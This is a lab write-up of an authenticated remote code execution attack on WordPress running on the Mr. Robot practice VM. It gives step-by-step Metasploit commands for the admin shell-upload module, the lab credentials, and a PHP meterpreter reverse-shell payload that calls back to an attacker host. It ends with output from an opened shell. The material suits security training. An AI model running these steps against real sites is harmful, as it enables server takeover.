



Simulate a chained attack on a Mr. Robot VM

1. Executive Summary

During the security assessment of the WordPress application hosted on the Mr. Robot VM, an authenticated Remote Code Execution (RCE) vulnerability was identified. An attacker with administrator-level access can upload a malicious plugin containing a PHP web shell, leading to full command execution on the server. This vulnerability can result in complete compromise of the web application and underlying system.

2. Technical Description

WordPress allows administrators to upload and activate plugins through the `/wp-admin` interface. Since plugins can contain PHP code, an authenticated administrator can upload a malicious plugin containing a PHP reverse shell or web shell. Once activated, the attacker gains the ability to execute arbitrary system commands on the server.

3. Proof of Concept (PoC)

3.1 Environment

- **Target:** Mr. Robot VM (192.168.29.184)
 - **Application:** WordPress
 - **Attacker OS:** Kali Linux (192.168.29.173)
 - **Access Level:** WordPress Administrator

3.2 Metasploit PoC (Lab Demonstration)

Step 1: Verify WordPress:

```
curl http://192.168.29.184/wp-login.php
```



Step 2: Launch Metasploit

```
kali@kali: ~
File Actions Edit View Help
(kali㉿kali)-[~]
$ msfconsole
Metasploit tip: View missing module options with show missing

# cowsay++
< metasploit >
 \_ (oo)_
  (---)\ \
   ||--|| *
      =[ metasploit v6.4.64-dev
+ -- ---[ 2519 exploits - 1296 auxiliary - 431 post      ]
+ -- ---[ 1610 payloads - 49 encoders - 13 nops      ]
+ -- ---[ 9 evasion      ]

Metasploit Documentation: https://docs.metasploit.com/
msf6 > [
```

Step 3: Search and use WordPress Admin RCE Module

search wp_admin_shell_upload

use 0

```
msf6 > search wp_admin_shell_upload
Matching Modules
=====
#  Name
      Disclosure Date  Rank   Check  Description
0  exploit/unix/webapp/wp_admin_shell_upload  2015-02-21  excellent  Yes  WordPress Admin Shell Upload

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/webapp/wp_admin_shell_upload

msf6 > use 0
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/wp_admin_shell_upload) >
msf6 exploit(unix/webapp/wp_admin_shell_upload) > [
```

Step 4: Configure Target Details

```
msf6 exploit(unix/webapp/wp_admin_shell_upload) > options
Module options (exploit/unix/webapp/wp_admin_shell_upload):
Name  Current Setting  Required  Description
-----+-----+-----+
PASSWORD  ER28-0652  yes  The WordPress password to authenticate with
Proxies  no  A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS  192.168.29.184  yes  The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT  80  yes  The target port (TCP)
SSL  false  no  Negotiate SSL/TLS for outgoing connections
TARGETURI  /  yes  The base path to the wordpress application
USERNAME  elliot  yes  The WordPress username to authenticate with
VHOST  no  HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):
Name  Current Setting  Required  Description
-----+-----+-----+
LHOST  192.168.29.173  yes  The listen address (an interface may be specified)
LPORT  4444  yes  The listen port

Exploit target:
Id  Name
--  --
0  WordPress

View the full module info with the info, or info -d command.
```

```
set RHOSTS 192.168.29.184
```

```
set TARGETURI /
```

```
set USERNAME elliot
```

```
set PASSWORD ER28-0652
```

```
set LHOST 192.168.29.173
```

```
set LPORT 4444
```

```
set WPCHECK false
```

```
run
```

Step 5: Successful Exploitation Output

```
msf6 exploit(unix/webapp/wp_admin_shell_upload) > run
[*] Started reverse TCP handler on 192.168.29.173:4444
[*] Authenticating with WordPress using elliot:ER28-0652 ...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wp-content/plugins/yVckkIAWtg/oaRcTwvmHQ.php ...
[*] Sending stage (40004 bytes) to 192.168.29.184
[*] Meterpreter session 1 opened (192.168.29.173:4444 → 192.168.29.184:55965) at 2026-01-14 02:45:31 -0500
[!] This exploit may require manual cleanup of 'oaRcTwvmHQ.php' on the target
[!] This exploit may require manual cleanup of 'yVckkIAWtg.php' on the target
[!] This exploit may require manual cleanup of '../yVckkIAWtg' on the target

meterpreter > id
[-] Unknown command: id. Run the help command for more details.
meterpreter > shell
Process 1914 created.
Channel 0 created.
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
```